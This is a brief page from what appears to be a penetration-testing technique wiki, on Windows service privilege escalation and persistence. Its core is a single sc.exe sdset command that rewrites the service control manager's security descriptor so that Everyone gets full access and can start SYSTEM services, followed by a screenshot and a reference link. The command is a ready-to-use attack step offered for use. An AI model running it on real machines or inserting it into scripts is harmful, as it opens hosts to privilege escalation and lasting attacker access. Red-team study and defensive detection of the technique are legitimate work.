> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/persistence/services/service-privilege-escalation-persistence.md).

# Service Privilege Escalation / Persistence

Modification of the security descriptor on the service manager allowing for anyone to start SYSTEM services.&#x20;

```powershell
sc.exe sdset scmanager D:(A;;KA;;;WD)
```

<figure><img src="/files/bxD2P5txEgt1Z4RK3skh" alt=""><figcaption></figcaption></figure>

### References

{% embed url="<https://twitter.com/0gtweet/status/1628720819537936386>" %}
